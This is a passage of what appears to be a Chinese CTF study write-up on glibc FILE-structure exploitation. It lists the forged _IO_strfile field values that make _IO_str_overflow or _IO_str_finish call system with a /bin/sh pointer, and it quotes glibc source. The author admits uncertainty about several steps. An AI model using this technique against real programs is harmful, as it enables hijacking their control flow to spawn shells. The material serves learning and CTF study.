5.(*((_IO_strfile *) fp)->_s._allocate_buffer)指向system的地址

对于第一个条件,可以设置如下:

1
fp->_flags = 0

对于第二个条件,由于flush_only = EOF = 0,转化为pos = fp->_IO_write_ptr - fp->_IO_write_base,_IO_blen (fp) = fp->_IO_buf_end - fp->_IO_buf_base,
联系第四个条件,new_size指向bin_sh_addr,而new_size有如下等式:

1
new_size = 2 * old_blen + 100 = 2 * _IO_blen (fp) + 100 = 2 * (fp->\_IO\_buf\_end - fp->\_IO\_buf\_base) + 100 = bin_sh_addr

因此,可以构造:

1
2
fp->\_IO\_buf\_base = 0
fp->\_IO\_buf\_end = (bin_sh_addr - 100)/2

为了比较中的大于等于关系成立,可以尽心如下构造:

1
2
3
fp->_IO_write_base = 0
#关于fp->_IO_write_ptr在其他博客里我看到过如下构造
fp->_IO_write_ptr = (bin_sh_addr - 100)/2 或 fp->_IO_write_ptr = 0xffffffff 或根本不设置该值

对于第三个条件与第一个条件构造相同。
第四个条件在构造第二个条件时已经满足。
对于第五个条件,fp->_s._allocate_buffer要设置为system的地址,_s._allocate_buffer在fp中的偏移是0xe0,因此要设置:

1
fp+0xe0 = system_addr

最后我看到有博客里还设置了mode的值,我也没明白是为什么。

1
fp->mode = 0

那程序如何调用_IO_str_overflow呢?同样在调用_IO_flush_all_lockp时调用_IO_OVERFLOW,在_IO_OVERFLOW中调用_IO_str_overflow。不知道这个地方怎么写….
总结构造的条件是:

1
2
3
4
5
6
7
fp->_flags = 0 
fp->\_IO\_buf\_base = 0
fp->\_IO\_buf\_end = (bin_sh_addr - 100)/2
fp->_IO_write_base = 0
fp->_IO_write_ptr = (bin_sh_addr - 100)/2 或 fp->_IO_write_ptr = 0xffffffff 或根本不设置该值
fp+0xe0 = system_addr
fp->mode = 0

_IO_str_finish

在_IO_str_jumps libio_vtable中第二项是_IO_str_finish中同样有相对地址的引用,而且相对比较简单。

1
2
3
4
5
6
7
8
9
10
//glibc-2.24 /libio/strops.c
void
_IO_str_finish (_IO_FILE *fp, int dummy)
{
if (fp->_IO_buf_base && !(fp->_flags & _IO_USER_BUF))
(((_IO_strfile *) fp)->_s._free_buffer) (fp->_IO_buf_base);
fp->_IO_buf_base = NULL;

_IO_default_finish (fp, 0);
}

需要满足的条件有:

1
2
3
fp->_IO_buf_base为真,(fp->_flags & _IO_USER_BUF)为假
fp->_IO_buf_base为bin_sh_addr
fp->_s._free_buffer为system函数地址

可以构造以下条件以通过检查:

1
2
3
fp->_flags = 0
fp->_IO_buf_base = bin_sh_addr
fp->_s._free_buffer = system_addr

参考

https://ctf-wiki.github.io/ctf-wiki/pwn/linux/glibc-heap/house_of_orange/
https://ctf-wiki.github.io/ctf-wiki/pwn/linux/glibc-heap/unsorted_bin_attack/
http://tacxingxing.com/2018/01/10/house-of-orange/
https://dhavalkapil.com/blogs/FILE-Structure-Exploitation/
https://firmianay.gitbooks.io/ctf-all-in-one/doc/4.13_io_file.html